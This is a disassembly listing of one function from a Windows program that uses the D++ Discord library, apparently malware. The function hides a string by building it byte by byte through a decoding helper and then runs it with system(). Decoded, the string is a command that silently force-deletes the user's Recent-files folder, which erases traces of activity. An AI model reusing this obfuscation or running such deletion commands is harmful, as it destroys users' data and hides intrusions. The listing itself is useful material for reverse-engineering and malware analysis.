call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::webhook::destructor_void_]
lea ecx, [ebp - 0x2eb8]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x2368]
mov byte [ebp - 4], 0xb7
call fcn.0045bb10
call fcn.00463bc0
push 0x64
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b08], 0x59
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b07], al
call fcn.0045b980
push 0x6c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b06], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b05], al
call fcn.0045b980
push 0x2f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b04], al
call fcn.0045b980
push 0x51
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b03], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b02], al
call fcn.0045b980
push 0x2f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b01], al
call fcn.0045b980
push 0x46
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1b00], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aff], al
call fcn.0045b980
push 0x22
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afe], al
call fcn.0045b980
mov byte [ebp - 0x1afd], al
lea ecx, [ebp - 0x1b08]
push 0x25
call fcn.0045b980
push 0x75
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afc], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afb], al
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1afa], al
call fcn.0045b980
push 0x72
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af9], al
call fcn.0045b980
push 0x70
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af8], al
call fcn.0045b980
push 0x72
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af7], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af6], al
call fcn.0045b980
push 0x66
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af5], al
call fcn.0045b980
push 0x69
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af4], al
call fcn.0045b980
push 0x6c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af3], al
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af2], al
call fcn.0045b980
push 0x25
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af1], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1af0], al
call fcn.0045b980
push 0x41
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aef], al
call fcn.0045b980
push 0x70
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aee], al
call fcn.0045b980
push 0x70
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aed], al
call fcn.0045b980
push 0x44
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aec], al
call fcn.0045b980
push 0x61
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aeb], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aea], al
call fcn.0045b980
push 0x61
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae9], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae8], al
call fcn.0045b980
push 0x52
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae7], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae6], al
call fcn.0045b980
push 0x61
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae5], al
call fcn.0045b980
push 0x6d
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae4], al
call fcn.0045b980
push 0x69
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae3], al
call fcn.0045b980
push 0x6e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae2], al
call fcn.0045b980
push 0x67
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae1], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ae0], al
call fcn.0045b980
push 0x4d
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1adf], al
call fcn.0045b980
push 0x69
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ade], al
call fcn.0045b980
push 0x63
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1add], al
call fcn.0045b980
push 0x72
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1adc], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1adb], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ada], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad9], al
call fcn.0045b980
push 0x66
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad8], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad7], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad6], al
call fcn.0045b980
push 0x57
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad5], al
call fcn.0045b980
mov byte [ebp - 0x1ad4], al
push 0x69
lea ecx, [ebp - 0x1b08]
call fcn.0045b980
push 0x6e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad3], al
call fcn.0045b980
push 0x64
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad2], al
call fcn.0045b980
push 0x6f
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad1], al
call fcn.0045b980
push 0x77
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ad0], al
call fcn.0045b980
push 0x73
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1acf], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ace], al
call fcn.0045b980
push 0x52
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1acd], al
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1acc], al
call fcn.0045b980
push 0x63
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1acb], al
call fcn.0045b980
push 0x65
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1aca], al
call fcn.0045b980
push 0x6e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac9], al
call fcn.0045b980
push 0x74
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac8], al
call fcn.0045b980
push 0x5c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac7], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac6], al
call fcn.0045b980
push 0x2e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac5], al
call fcn.0045b980
push 0x2a
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac4], al
call fcn.0045b980
push 0x22
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac3], al
call fcn.0045b980
push 0x20
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac2], al
call fcn.0045b980
push 0x3e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1ac1], al
call fcn.0045b980
mov byte [ebp - 0x1ac0], al
push 0x20
lea ecx, [ebp - 0x1b08]
call fcn.0045b980
push 0x6e
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1abf], al
call fcn.0045b980
push 0x75
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1abe], al
call fcn.0045b980
push 0x6c
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 0x1abd], al
call fcn.0045b980
mov byte [ebp - 0x1abc], al
xor esi, esi
mov byte [ebp - 0x1abb], 0
push esi
lea ecx, [ebp - 0x1b07]
call fcn.0045b970
lea ecx, [ebp - 0x1b08]
movzx eax, byte [eax]
push eax
call fcn.0045b980
push esi
lea ecx, [ebp - 0x1b07]
mov byte [ebp - 0x19c9], al
call fcn.0045b970
mov cl, byte [ebp - 0x19c9]
inc esi
mov byte [eax], cl
cmp esi, 0x4c
jb 0x467c30
push 0x4c
lea ecx, [ebp - 0x1b07]
call fcn.0045b970
lea ecx, [ebp - 0x1b07]
mov byte [eax], 0
call fcn.0045b960
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
lea ecx, [ebp - 0x2d0]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x558]
call edi
lea ecx, [ebp - 0x19c8]
call dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::cluster::destructor_void_]
lea ecx, [ebp - 0x74]
call fcn.0045bb10
lea ecx, [ebp - 0x44]
call fcn.0045bb10
lea ecx, [ebp - 0x5c]
call fcn.0045bb10
lea ecx, [ebp - 0x2c]
call fcn.0045bb10
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.004870f9
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret